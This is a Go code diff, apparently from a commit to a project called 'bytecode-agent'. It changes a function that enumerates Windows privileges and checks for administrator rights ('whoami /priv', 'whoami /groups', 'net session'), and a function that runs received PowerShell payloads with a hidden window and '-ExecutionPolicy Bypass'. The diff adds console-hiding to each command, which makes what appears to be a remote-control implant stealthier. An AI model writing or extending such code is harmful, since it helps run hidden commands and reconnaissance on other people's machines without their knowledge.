77 "os/user"
88 "runtime"
99 "strings"
10+
11+ "bytecode-agent/internal/windows"
1012)
1113
1214// getPrivileges enumerates current user privileges and context
@@ -30,20 +32,26 @@ func getPrivileges() (string, error) {
3032 if runtime .GOOS == "windows" {
3133 // whoami /all
3234 sb .WriteString ("\n --- whoami /priv ---\n " )
33- out , err := exec .Command ("whoami" , "/priv" ).CombinedOutput ()
35+ cmd := exec .Command ("whoami" , "/priv" )
36+ windows .HideConsole (cmd )
37+ out , err := cmd .CombinedOutput ()
3438 if err == nil {
3539 sb .WriteString (string (out ))
3640 }
3741
3842 sb .WriteString ("\n --- whoami /groups ---\n " )
39- out , err = exec .Command ("whoami" , "/groups" ).CombinedOutput ()
43+ cmd = exec .Command ("whoami" , "/groups" )
44+ windows .HideConsole (cmd )
45+ out , err = cmd .CombinedOutput ()
4046 if err == nil {
4147 sb .WriteString (string (out ))
4248 }
4349
4450 // Check admin
4551 sb .WriteString ("\n --- Admin Check ---\n " )
46- out , err = exec .Command ("net" , "session" ).CombinedOutput ()
52+ cmd = exec .Command ("net" , "session" )
53+ windows .HideConsole (cmd )
54+ out , err = cmd .CombinedOutput ()
4755 if err == nil {
4856 sb .WriteString ("Running as ADMINISTRATOR (elevated)\n " )
4957 } else {
@@ -96,6 +104,7 @@ func executePowerShell(payload interface{}) (string, error) {
96104
97105 cmd := exec .Command ("powershell.exe" , "-NoProfile" , "-NonInteractive" ,
98106 "-WindowStyle" , "Hidden" , "-ExecutionPolicy" , "Bypass" , "-Command" , cmdStr )
107+ windows .HideConsole (cmd )
99108 out , err := cmd .CombinedOutput ()
100109 if err != nil {
101110 return string (out ), fmt .Errorf ("powershell failed: %w" , err )
0 commit comments